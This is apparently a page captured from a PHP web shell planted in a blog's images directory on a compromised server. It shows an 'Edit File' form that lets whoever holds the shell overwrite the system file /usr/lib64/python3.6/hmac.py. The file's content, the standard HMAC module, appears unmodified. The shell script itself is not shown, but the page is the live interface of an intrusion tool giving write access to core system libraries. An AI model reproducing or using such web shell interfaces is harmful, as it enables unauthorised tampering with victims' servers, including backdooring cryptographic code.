<h2>Edit File - hmac.py</h2><form method="POST" style="padding:20px">
                <input type="hidden" name="edit_file" value="/usr/lib64/python3.6/hmac.py">
                <textarea name="file_content" style="width:100%; height:400px; font-family:monospace;">&quot;&quot;&quot;HMAC (Keyed-Hashing for Message Authentication) Python module.

Implements the HMAC algorithm as described by RFC 2104.
&quot;&quot;&quot;

import warnings as _warnings
from _operator import _compare_digest as compare_digest
import hashlib as _hashlib
import _hashlib as _hashlibopenssl
import _hmacopenssl

trans_5C = bytes((x ^ 0x5C) for x in range(256))
trans_36 = bytes((x ^ 0x36) for x in range(256))

# The size of the digests returned by HMAC depends on the underlying
# hashing module used.  Use digest_size from the instance of HMAC instead.
digest_size = None


class HMAC:
    &quot;&quot;&quot;RFC 2104 HMAC class.  Also complies with RFC 4231.

    This supports the API for Cryptographic Hash Functions (PEP 247).
    &quot;&quot;&quot;
    blocksize = 64  # 512-bit HMAC; can be changed in subclasses.

    def __init__(self, key, msg = None, digestmod = None):
        &quot;&quot;&quot;Create a new HMAC object.

        key:       key for the keyed hash object.
        msg:       Initial input for the hash, if provided.
        digestmod: A module supporting PEP 247.  *OR*
                   A hashlib constructor returning a new hash object. *OR*
                   A hash name suitable for hashlib.new().
                   Defaults to hashlib.md5.
                   Implicit default to hashlib.md5 is deprecated and will be
                   removed in Python 3.6.

        Note: key and msg must be a bytes or bytearray objects.
        &quot;&quot;&quot;
        if _hashlibopenssl.get_fips_mode():
            raise ValueError(
                &#039;This class is not available in FIPS mode. &#039;
                + &#039;Use hmac.new().&#039;
            )

        if not isinstance(key, (bytes, bytearray)):
            raise TypeError(&quot;key: expected bytes or bytearray, but got %r&quot; % type(key).__name__)

        if digestmod is None:
            _warnings.warn(&quot;HMAC() without an explicit digestmod argument &quot;
                           &quot;is deprecated.&quot;, PendingDeprecationWarning, 2)
            digestmod = _hashlib.md5

        if callable(digestmod):
            self.digest_cons = digestmod
        elif isinstance(digestmod, str):
            self.digest_cons = lambda d=b&#039;&#039;: _hashlib.new(digestmod, d)
        else:
            self.digest_cons = lambda d=b&#039;&#039;: digestmod.new(d)

        self.outer = self.digest_cons()
        self.inner = self.digest_cons()
        self.digest_size = self.inner.digest_size

        if hasattr(self.inner, &#039;block_size&#039;):
            blocksize = self.inner.block_size
            if blocksize &lt; 16:
                _warnings.warn(&#039;block_size of %d seems too small; using our &#039;
                               &#039;default of %d.&#039; % (blocksize, self.blocksize),
                               RuntimeWarning, 2)
                blocksize = self.blocksize
        else:
            _warnings.warn(&#039;No block_size attribute on given digest object; &#039;
                           &#039;Assuming %d.&#039; % (self.blocksize),
                           RuntimeWarning, 2)
            blocksize = self.blocksize

        # self.blocksize is the default blocksize. self.block_size is
        # effective block size as well as the public API attribute.
        self.block_size = blocksize

        if len(key) &gt; blocksize:
            key = self.digest_cons(key).digest()

        key = key.ljust(blocksize, b&#039;\0&#039;)
        self.outer.update(key.translate(trans_5C))
        self.inner.update(key.translate(trans_36))
        if msg is not None:
            self.update(msg)

    @property
    def name(self):
        return &quot;hmac-&quot; + self.inner.name

    def update(self, msg):
        &quot;&quot;&quot;Update this hashing object with the string msg.
        &quot;&quot;&quot;
        if _hashlibopenssl.get_fips_mode():
            raise ValueError(&#039;hmac.HMAC is not available in FIPS mode&#039;)
        self.inner.update(msg)

    def copy(self):
        &quot;&quot;&quot;Return a separate copy of this hashing object.

        An update to this copy won&#039;t affect the original object.
        &quot;&quot;&quot;
        # Call __new__ directly to avoid the expensive __init__.
        other = self.__class__.__new__(self.__class__)
        other.digest_cons = self.digest_cons
        other.digest_size = self.digest_size
        other.inner = self.inner.copy()
        other.outer = self.outer.copy()
        return other

    def _current(self):
        &quot;&quot;&quot;Return a hash object for the current state.

        To be used only internally with digest() and hexdigest().
        &quot;&quot;&quot;
        h = self.outer.copy()
        h.update(self.inner.digest())
        return h

    def digest(self):
        &quot;&quot;&quot;Return the hash value of this hashing object.

        This returns a string containing 8-bit data.  The object is
        not altered in any way by this function; you can continue
        updating the object after calling this function.
        &quot;&quot;&quot;
        h = self._current()
        return h.digest()

    def hexdigest(self):
        &quot;&quot;&quot;Like digest(), but returns a string of hexadecimal digits instead.
        &quot;&quot;&quot;
        h = self._current()
        return h.hexdigest()


def _get_openssl_name(digestmod):
    if digestmod is None:
        raise ValueError(&quot;&#039;digestmod&#039; argument is mandatory in FIPS mode&quot;)
    if isinstance(digestmod, str):
        return digestmod.lower()
    elif callable(digestmod):
        digestmod = digestmod(b&#039;&#039;)

    if not isinstance(digestmod, _hashlibopenssl.HASH):
        raise TypeError(
            &#039;Only OpenSSL hashlib hashes are accepted in FIPS mode.&#039;)

    return digestmod.name.lower().replace(&#039;_&#039;, &#039;-&#039;)


class HMAC_openssl(_hmacopenssl.HMAC):
    def __new__(cls, key, msg = None, digestmod = None):
        if not isinstance(key, (bytes, bytearray)):
            raise TypeError(&quot;key: expected bytes or bytearray, but got %r&quot; % type(key).__name__)

        name = _get_openssl_name(digestmod)
        result = _hmacopenssl.HMAC.__new__(cls, key, digestmod=name)
        if msg:
            result.update(msg)
        return result


if _hashlibopenssl.get_fips_mode():
    HMAC = HMAC_openssl


def new(key, msg = None, digestmod = None):
    &quot;&quot;&quot;Create a new hashing object and return it.

    key: The starting key for the hash.
    msg: if available, will immediately be hashed into the object&#039;s starting
    state.

    You can now feed arbitrary strings into the object using its update()
    method, and can ask for the hash value at any time by calling its digest()
    method.
    &quot;&quot;&quot;
    return HMAC(key, msg, digestmod)
</textarea><br><br>
                <button type="submit" class="btn">Save</button>
                <a href="/blog/images/1781637752_1754069486_sh2.php?dir=." class="btn gray">Kembali</a>
              </form>